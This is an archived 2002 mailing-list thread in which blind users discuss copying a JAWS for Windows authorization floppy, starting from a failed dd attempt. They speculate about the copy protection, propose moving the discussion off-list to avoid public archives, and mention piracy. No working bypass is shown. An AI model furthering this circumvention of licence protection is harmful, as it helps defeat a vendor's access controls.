interesting experiment.

interesting experiment.

[Shaun Oliver]

hi.
I just tryed to use dd to see if in fact it would copy my jfw
authorization disk and, as expected, it wouldn't.
here's my output from dd to aid some poor unfortunate that still may want
to persue this activity.
captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
end_request: I/O error, dev 02:00 (floppy), sector 2870
end_request: I/O error, dev 02:00 (floppy), sector 2874
end_request: I/O error, dev 02:00 (floppy), sector 2876
end_request: I/O error, dev 02:00 (floppy), sector 2878
end_request: I/O error, dev 02:00 (floppy), sector 2870
dd: /dev/fd0: Input/output error
2864+0 records in
2864+0 records out
captain-nemo@borg:~$
hth
Shaun.

Re: interesting experiment.

[Igor Gueths]

Hi Shaun. It seems that some of the sectors are write protected. I'd
really like to know how they control the disk writing process, because
this would give us some good insite on how they generate keys.

Gates go to hell, your OS is waiting for you there!

On Fri, 17 May 2002, Shaun Oliver wrote:

> hi.
> I just tryed to use dd to see if in fact it would copy my jfw
> authorization disk and, as expected, it wouldn't.
> here's my output from dd to aid some poor unfortunate that still may want
> to persue this activity.
> captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> end_request: I/O error, dev 02:00 (floppy), sector 2870
> end_request: I/O error, dev 02:00 (floppy), sector 2874
> end_request: I/O error, dev 02:00 (floppy), sector 2876
> end_request: I/O error, dev 02:00 (floppy), sector 2878
> end_request: I/O error, dev 02:00 (floppy), sector 2870
> dd: /dev/fd0: Input/output error
> 2864+0 records in
> 2864+0 records out
> captain-nemo@borg:~$
> hth
> Shaun.
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Gregory Nowak]

Hey guys,

I've been following this thread about the disk copying and stuff. I was wondering if you were aware that the archive for this list is accessible to anyone on the whole web? This means that all you are writing about is out there for the picking unless Kirk decides to remove it from the archive before google or any other search engine gets a cache of that archive.
Greg


On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> Hi Shaun. It seems that some of the sectors are write protected. I'd
> really like to know how they control the disk writing process, because
> this would give us some good insite on how they generate keys.
> 
> Gates go to hell, your OS is waiting for you there!
> 
> On Fri, 17 May 2002, Shaun Oliver wrote:
> 
> > hi.
> > I just tryed to use dd to see if in fact it would copy my jfw
> > authorization disk and, as expected, it wouldn't.
> > here's my output from dd to aid some poor unfortunate that still may want
> > to persue this activity.
> > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > dd: /dev/fd0: Input/output error
> > 2864+0 records in
> > 2864+0 records out
> > captain-nemo@borg:~$
> > hth
> > Shaun.
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Scott Howell]

I'd hate to be the killjoy here as well, but what Greg says is rather
ture. I really don't think we would want folks to see this list as a
list of pirates or something. Ay ain't got nothing' against any of it
mind you, but really I suspect the threads are tredding on some unstable
ground.
I would also say that if folks who are seriously interested in this
subject might bring unwanted attention to this list and you can bet this
list is much to valuable to invite problem.s

So, keep burnin' disks my friends and have a beer.

Scott

Re: interesting experiment.

[Igor Gueths]

Hi Greg. Just put a robots.txt file on the server and this should thwart most bots. It would however be better to discuss this stuff off-list probably. Get everyone who wants to work on this, and everyone cc's each other's messages so everyone in the project gets that msg. 
----- Original Message ----- 
From: Gregory Nowak <greg@romualt.dhs.org>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 17, 2002 2:41 PM
Subject: Re: interesting experiment.


> Hey guys,
> 
> I've been following this thread about the disk copying and stuff. I was wondering if you were aware that the archive for this list is accessible to anyone on the whole web? This means that all you are writing about is out there for the picking unless Kirk decides to remove it from the archive before google or any other search engine gets a cache of that archive.
> Greg
> 
> 
> On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> > Hi Shaun. It seems that some of the sectors are write protected. I'd
> > really like to know how they control the disk writing process, because
> > this would give us some good insite on how they generate keys.
> > 
> > Gates go to hell, your OS is waiting for you there!
> > 
> > On Fri, 17 May 2002, Shaun Oliver wrote:
> > 
> > > hi.
> > > I just tryed to use dd to see if in fact it would copy my jfw
> > > authorization disk and, as expected, it wouldn't.
> > > here's my output from dd to aid some poor unfortunate that still may want
> > > to persue this activity.
> > > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > dd: /dev/fd0: Input/output error
> > > 2864+0 records in
> > > 2864+0 records out
> > > captain-nemo@borg:~$
> > > hth
> > > Shaun.
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Alex Snow]

Then if really necessary, we could use speakfreely.  Multiple people can
connect to eachother using that right?
----- Original Message -----
From: "Igor Gueths" <igueths@attbi.com>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 17, 2002 3:16 PM
Subject: Re: interesting experiment.


Hi Greg. Just put a robots.txt file on the server and this should thwart
most bots. It would however be better to discuss this stuff off-list
probably. Get everyone who wants to work on this, and everyone cc's each
other's messages so everyone in the project gets that msg.
----- Original Message -----
From: Gregory Nowak <greg@romualt.dhs.org>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 17, 2002 2:41 PM
Subject: Re: interesting experiment.


> Hey guys,
>
> I've been following this thread about the disk copying and stuff. I was
wondering if you were aware that the archive for this list is accessible to
anyone on the whole web? This means that all you are writing about is out
there for the picking unless Kirk decides to remove it from the archive
before google or any other search engine gets a cache of that archive.
> Greg
>
>
> On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> > Hi Shaun. It seems that some of the sectors are write protected. I'd
> > really like to know how they control the disk writing process, because
> > this would give us some good insite on how they generate keys.
> >
> > Gates go to hell, your OS is waiting for you there!
> >
> > On Fri, 17 May 2002, Shaun Oliver wrote:
> >
> > > hi.
> > > I just tryed to use dd to see if in fact it would copy my jfw
> > > authorization disk and, as expected, it wouldn't.
> > > here's my output from dd to aid some poor unfortunate that still may
want
> > > to persue this activity.
> > > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > dd: /dev/fd0: Input/output error
> > > 2864+0 records in
> > > 2864+0 records out
> > > captain-nemo@borg:~$
> > > hth
> > > Shaun.
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Igor Gueths]

Hi Alex. This could be done, I just have to test myself on an echo server. 
----- Original Message ----- 
From: Alex Snow <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 17, 2002 3:26 PM
Subject: Re: interesting experiment.


> Then if really necessary, we could use speakfreely.  Multiple people can
> connect to eachother using that right?
> ----- Original Message -----
> From: "Igor Gueths" <igueths@attbi.com>
> To: <speakup@braille.uwo.ca>
> Sent: Friday, May 17, 2002 3:16 PM
> Subject: Re: interesting experiment.
> 
> 
> Hi Greg. Just put a robots.txt file on the server and this should thwart
> most bots. It would however be better to discuss this stuff off-list
> probably. Get everyone who wants to work on this, and everyone cc's each
> other's messages so everyone in the project gets that msg.
> ----- Original Message -----
> From: Gregory Nowak <greg@romualt.dhs.org>
> To: <speakup@braille.uwo.ca>
> Sent: Friday, May 17, 2002 2:41 PM
> Subject: Re: interesting experiment.
> 
> 
> > Hey guys,
> >
> > I've been following this thread about the disk copying and stuff. I was
> wondering if you were aware that the archive for this list is accessible to
> anyone on the whole web? This means that all you are writing about is out
> there for the picking unless Kirk decides to remove it from the archive
> before google or any other search engine gets a cache of that archive.
> > Greg
> >
> >
> > On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> > > Hi Shaun. It seems that some of the sectors are write protected. I'd
> > > really like to know how they control the disk writing process, because
> > > this would give us some good insite on how they generate keys.
> > >
> > > Gates go to hell, your OS is waiting for you there!
> > >
> > > On Fri, 17 May 2002, Shaun Oliver wrote:
> > >
> > > > hi.
> > > > I just tryed to use dd to see if in fact it would copy my jfw
> > > > authorization disk and, as expected, it wouldn't.
> > > > here's my output from dd to aid some poor unfortunate that still may
> want
> > > > to persue this activity.
> > > > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > dd: /dev/fd0: Input/output error
> > > > 2864+0 records in
> > > > 2864+0 records out
> > > > captain-nemo@borg:~$
> > > > hth
> > > > Shaun.
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

Re: interesting experiment.

[Alex Snow]

use echo.fourmilab.ch
----- Original Message -----
From: "Igor Gueths" <igueths@attbi.com>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 17, 2002 3:49 PM
Subject: Re: interesting experiment.


Hi Alex. This could be done, I just have to test myself on an echo server.
----- Original Message -----
From: Alex Snow <alex_snow@gmx.net>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 17, 2002 3:26 PM
Subject: Re: interesting experiment.


> Then if really necessary, we could use speakfreely.  Multiple people can
> connect to eachother using that right?
> ----- Original Message -----
> From: "Igor Gueths" <igueths@attbi.com>
> To: <speakup@braille.uwo.ca>
> Sent: Friday, May 17, 2002 3:16 PM
> Subject: Re: interesting experiment.
>
>
> Hi Greg. Just put a robots.txt file on the server and this should thwart
> most bots. It would however be better to discuss this stuff off-list
> probably. Get everyone who wants to work on this, and everyone cc's each
> other's messages so everyone in the project gets that msg.
> ----- Original Message -----
> From: Gregory Nowak <greg@romualt.dhs.org>
> To: <speakup@braille.uwo.ca>
> Sent: Friday, May 17, 2002 2:41 PM
> Subject: Re: interesting experiment.
>
>
> > Hey guys,
> >
> > I've been following this thread about the disk copying and stuff. I was
> wondering if you were aware that the archive for this list is accessible
to
> anyone on the whole web? This means that all you are writing about is out
> there for the picking unless Kirk decides to remove it from the archive
> before google or any other search engine gets a cache of that archive.
> > Greg
> >
> >
> > On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> > > Hi Shaun. It seems that some of the sectors are write protected. I'd
> > > really like to know how they control the disk writing process, because
> > > this would give us some good insite on how they generate keys.
> > >
> > > Gates go to hell, your OS is waiting for you there!
> > >
> > > On Fri, 17 May 2002, Shaun Oliver wrote:
> > >
> > > > hi.
> > > > I just tryed to use dd to see if in fact it would copy my jfw
> > > > authorization disk and, as expected, it wouldn't.
> > > > here's my output from dd to aid some poor unfortunate that still may
> want
> > > > to persue this activity.
> > > > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > dd: /dev/fd0: Input/output error
> > > > 2864+0 records in
> > > > 2864+0 records out
> > > > captain-nemo@borg:~$
> > > > hth
> > > > Shaun.
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Gregory Nowak]

Sure. If one of you has a 24x7 connection to the web, then that person can host a reflecter.
Greg


On Fri, May 17, 2002 at 03:26:20PM -0400, Alex Snow wrote:
> Then if really necessary, we could use speakfreely.  Multiple people can
> connect to eachother using that right?
> ----- Original Message -----
> From: "Igor Gueths" <igueths@attbi.com>
> To: <speakup@braille.uwo.ca>
> Sent: Friday, May 17, 2002 3:16 PM
> Subject: Re: interesting experiment.
> 
> 
> Hi Greg. Just put a robots.txt file on the server and this should thwart
> most bots. It would however be better to discuss this stuff off-list
> probably. Get everyone who wants to work on this, and everyone cc's each
> other's messages so everyone in the project gets that msg.
> ----- Original Message -----
> From: Gregory Nowak <greg@romualt.dhs.org>
> To: <speakup@braille.uwo.ca>
> Sent: Friday, May 17, 2002 2:41 PM
> Subject: Re: interesting experiment.
> 
> 
> > Hey guys,
> >
> > I've been following this thread about the disk copying and stuff. I was
> wondering if you were aware that the archive for this list is accessible to
> anyone on the whole web? This means that all you are writing about is out
> there for the picking unless Kirk decides to remove it from the archive
> before google or any other search engine gets a cache of that archive.
> > Greg
> >
> >
> > On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> > > Hi Shaun. It seems that some of the sectors are write protected. I'd
> > > really like to know how they control the disk writing process, because
> > > this would give us some good insite on how they generate keys.
> > >
> > > Gates go to hell, your OS is waiting for you there!
> > >
> > > On Fri, 17 May 2002, Shaun Oliver wrote:
> > >
> > > > hi.
> > > > I just tryed to use dd to see if in fact it would copy my jfw
> > > > authorization disk and, as expected, it wouldn't.
> > > > here's my output from dd to aid some poor unfortunate that still may
> want
> > > > to persue this activity.
> > > > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > dd: /dev/fd0: Input/output error
> > > > 2864+0 records in
> > > > 2864+0 records out
> > > > captain-nemo@borg:~$
> > > > hth
> > > > Shaun.
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Ha ha, good advice.
I've explained these better on jfwlite@yahoogroups.com,
jfwlist@yahoogroups.com, blindtech@yahoogroups.com, even though I know that
some guys from Freedom Scientific monitor these lists.

They should prove first that I use a fake key.
If I don't use one, I can tell to anyone I know how it can be copied.
I tell this to the people, not because I support the piracy, but because I
am sure they want to create a simple backup for their jaws auth disk.
A floppy can be damaged, and it will cost to ask another one from Freedom
Scientific.

So discussing is not illegal. Even in USA, I think.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Gregory Nowak" <greg@romualt.dhs.org>
To: <speakup@braille.uwo.ca>
Sent: Friday, May 17, 2002 9:41 PM
Subject: Re: interesting experiment.


Hey guys,

I've been following this thread about the disk copying and stuff. I was
wondering if you were aware that the archive for this list is accessible to
anyone on the whole web? This means that all you are writing about is out
there for the picking unless Kirk decides to remove it from the archive
before google or any other search engine gets a cache of that archive.
Greg


On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> Hi Shaun. It seems that some of the sectors are write protected. I'd
> really like to know how they control the disk writing process, because
> this would give us some good insite on how they generate keys.
>
> Gates go to hell, your OS is waiting for you there!
>
> On Fri, 17 May 2002, Shaun Oliver wrote:
>
> > hi.
> > I just tryed to use dd to see if in fact it would copy my jfw
> > authorization disk and, as expected, it wouldn't.
> > here's my output from dd to aid some poor unfortunate that still may
want
> > to persue this activity.
> > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > dd: /dev/fd0: Input/output error
> > 2864+0 records in
> > 2864+0 records out
> > captain-nemo@borg:~$
> > hth
> > Shaun.
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Shaun Oliver]

I take your point.
having said that however, I don't see the reason for paying $500 just for
some 1.44 mb diskett with hard errors on it just so I can screw up
windcrap 2000 or windcrap xp.
no wonder I went to linux.
it cost me bugger all.


On Fri, 17 May 2002, Igor Gueths wrote:

> Hi Greg. Just put a robots.txt file on the server and this should thwart most bots. It would however be better to discuss this stuff off-list probably. Get everyone who wants to work on this, and everyone cc's each other's messages so everyone in the project gets that msg.
> ----- Original Message -----
> From: Gregory Nowak <greg@romualt.dhs.org>
> To: <speakup@braille.uwo.ca>
> Sent: Friday, May 17, 2002 2:41 PM
> Subject: Re: interesting experiment.
>
>
> > Hey guys,
> >
> > I've been following this thread about the disk copying and stuff. I was wondering if you were aware that the archive for this list is accessible to anyone on the whole web? This means that all you are writing about is out there for the picking unless Kirk decides to remove it from the archive before google or any other search engine gets a cache of that archive.
> > Greg
> >
> >
> > On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> > > Hi Shaun. It seems that some of the sectors are write protected. I'd
> > > really like to know how they control the disk writing process, because
> > > this would give us some good insite on how they generate keys.
> > >
> > > Gates go to hell, your OS is waiting for you there!
> > >
> > > On Fri, 17 May 2002, Shaun Oliver wrote:
> > >
> > > > hi.
> > > > I just tryed to use dd to see if in fact it would copy my jfw
> > > > authorization disk and, as expected, it wouldn't.
> > > > here's my output from dd to aid some poor unfortunate that still may want
> > > > to persue this activity.
> > > > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > dd: /dev/fd0: Input/output error
> > > > 2864+0 records in
> > > > 2864+0 records out
> > > > captain-nemo@borg:~$
> > > > hth
> > > > Shaun.
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Pete]

  You know what really sucks is freedom scientific wont sell me a lisence
for winblows N T 4.0. they first want me to upgrade to jfw402 from 33135
befor they will sell me a liscense for windows NT OS.  according to there
tech support I don't need jfw higher than jfw 3.2 to use windows N T so how
can it be leagle for Freedom scientific to force me to buy  an upgrade I
don't need befor they will sell me the authorisation for windows N T for
JFW?  I to am ashaimed I didn't protest the JFW in place of another screen
reading product for win blows more than I did!!  OH, yah, by the way <BTW>
Freedom scientifuc wants $660 to make the wonderful world of jaws available
to me!  WoW!  I'am just soooo Happy I,----    can't F_______ stand it!  I
have a disk editing program. It can write more than 512 bit sectors on a
floppy track if you want it to.  So any ways Good luck to all!
  Pete

----- Original Message -----
From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 12:44 AM
Subject: Re: interesting experiment.


> I take your point.
> having said that however, I don't see the reason for paying $500 just for
> some 1.44 mb diskett with hard errors on it just so I can screw up
> windcrap 2000 or windcrap xp.
> no wonder I went to linux.
> it cost me bugger all.
>
>
> On Fri, 17 May 2002, Igor Gueths wrote:
>
> > Hi Greg. Just put a robots.txt file on the server and this should thwart
most bots. It would however be better to discuss this stuff off-list
probably. Get everyone who wants to work on this, and everyone cc's each
other's messages so everyone in the project gets that msg.
> > ----- Original Message -----
> > From: Gregory Nowak <greg@romualt.dhs.org>
> > To: <speakup@braille.uwo.ca>
> > Sent: Friday, May 17, 2002 2:41 PM
> > Subject: Re: interesting experiment.
> >
> >
> > > Hey guys,
> > >
> > > I've been following this thread about the disk copying and stuff. I
was wondering if you were aware that the archive for this list is accessible
to anyone on the whole web? This means that all you are writing about is out
there for the picking unless Kirk decides to remove it from the archive
before google or any other search engine gets a cache of that archive.
> > > Greg
> > >
> > >
> > > On Fri, May 17, 2002 at 02:32:06PM -0400, Igor Gueths wrote:
> > > > Hi Shaun. It seems that some of the sectors are write protected. I'd
> > > > really like to know how they control the disk writing process,
because
> > > > this would give us some good insite on how they generate keys.
> > > >
> > > > Gates go to hell, your OS is waiting for you there!
> > > >
> > > > On Fri, 17 May 2002, Shaun Oliver wrote:
> > > >
> > > > > hi.
> > > > > I just tryed to use dd to see if in fact it would copy my jfw
> > > > > authorization disk and, as expected, it wouldn't.
> > > > > here's my output from dd to aid some poor unfortunate that still
may want
> > > > > to persue this activity.
> > > > > captain-nemo@borg:~$ dd if=/dev/fd0 of=auth.img
> > > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > > end_request: I/O error, dev 02:00 (floppy), sector 2874
> > > > > end_request: I/O error, dev 02:00 (floppy), sector 2876
> > > > > end_request: I/O error, dev 02:00 (floppy), sector 2878
> > > > > end_request: I/O error, dev 02:00 (floppy), sector 2870
> > > > > dd: /dev/fd0: Input/output error
> > > > > 2864+0 records in
> > > > > 2864+0 records out
> > > > > captain-nemo@borg:~$
> > > > > hth
> > > > > Shaun.
> > > > >
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: interesting experiment.

[Shaun Oliver]

that sucks,
I used jaws because at the time I didn't know any better and I was steered
in that direction by the people in the um. know.
but thing is to pay through the nose for authorization for nt/2000/xp
really sucks and the prices they ask are out of my league.
if I want to use my computer at home I'm either resigned to using pirated
software or GNU/Linux.
I don't have the money to go spending on the software I want for windows
because they ask too damn much and I'm on limited income as are a good few
of us here.
I wouldn't even be considering this option if I were in the position of
the vendors themselves.
it just gets my goat that they want us to use computers out there and
won't be accommodating when we want to do just that.
as it was I've already spent $1400 alone on jaws for windows and I had to
take out a personal lone to do it.
if they want us to use computers in the windows world, they should make
the pricing accessable too.
it seems to me that everyone that codes for microsucks is in it for the
dollars either to line their pockets or to pay microsucks for the
outrageous licencing fees for the use of their code.
ok I'v ehad my whinge for the day.
Shaun..

Re: interesting experiment.

[Darrell Shandrow]

[-- Attachment #1: Type: text/plain, Size: 2079 bytes --]

Hi Shaun,

Yes; it is definitely difficult for us, and thank goodness for Linux!  It 
allows us to work with and experiment with and learn many types of 
applications, like databases, web and mail servers, and so on which we 
would never be able to afford to access on our own.  I just wish Linux were 
a more viable general purpose workstation; I use Windows for that purpose.

Regards.

At 03:33 PM 5/18/2002 +1000, you wrote:

>that sucks,
>I used jaws because at the time I didn't know any better and I was steered
>in that direction by the people in the um. know.
>but thing is to pay through the nose for authorization for nt/2000/xp
>really sucks and the prices they ask are out of my league.
>if I want to use my computer at home I'm either resigned to using pirated
>software or GNU/Linux.
>I don't have the money to go spending on the software I want for windows
>because they ask too damn much and I'm on limited income as are a good few
>of us here.
>I wouldn't even be considering this option if I were in the position of
>the vendors themselves.
>it just gets my goat that they want us to use computers out there and
>won't be accommodating when we want to do just that.
>as it was I've already spent $1400 alone on jaws for windows and I had to
>take out a personal lone to do it.
>if they want us to use computers in the windows world, they should make
>the pricing accessable too.
>it seems to me that everyone that codes for microsucks is in it for the
>dollars either to line their pockets or to pay microsucks for the
>outrageous licencing fees for the use of their code.
>ok I'v ehad my whinge for the day.
>Shaun..
>
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
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Best regards,
Darrell Shandrow
Access technology consulting / network and UNIX         systems administration.

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Re: interesting experiment.

[Igor Gueths]

Hi pete. What do you use for a disk editor? 
----- Original Message ----- 
From: Pete <persuric@ameritech.net>
To: <speakup@braille.uwo.ca>
Sent: Saturday, May 18, 2002 1:17 AM
Subject: Re: interesting experiment.


> 
>   You know what really sucks is freedom scientific wont sell me a lisence
> for winblows N T 4.0. they first want me to upgrade to jfw402 from 33135
> befor they will sell me a liscense for windows NT OS.  according to there
> tech support I don't need jfw higher than jfw 3.2 to use windows N T so how
> can it be leagle for Freedom scientific to force me to buy  an upgrade I
> don't need befor they will sell me the authorisation for windows N T for
> JFW?  I to am ashaimed I didn't protest the JFW in place of another screen
> reading product for win blows more than I did!!  OH, yah, by the way <BTW>
> Freedom scientifuc wants $660 to make the wonderful world of jaws available
> to me!  WoW!  I'am just soooo Happy I,----    can't F_______ stand it!  I
> have a disk editing program. It can write more than 512 bit sectors on a
> floppy track if you want it to.  So any ways Good luck to all!
>   Pete
> 
> ----- Original Message -----
> From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> To: <speakup@braille.uwo.ca>
> Sent: Saturday, May 18, 2002 12:44 AM
> Subject: Re: interesting experiment.
> 
> 
> > I take your point.
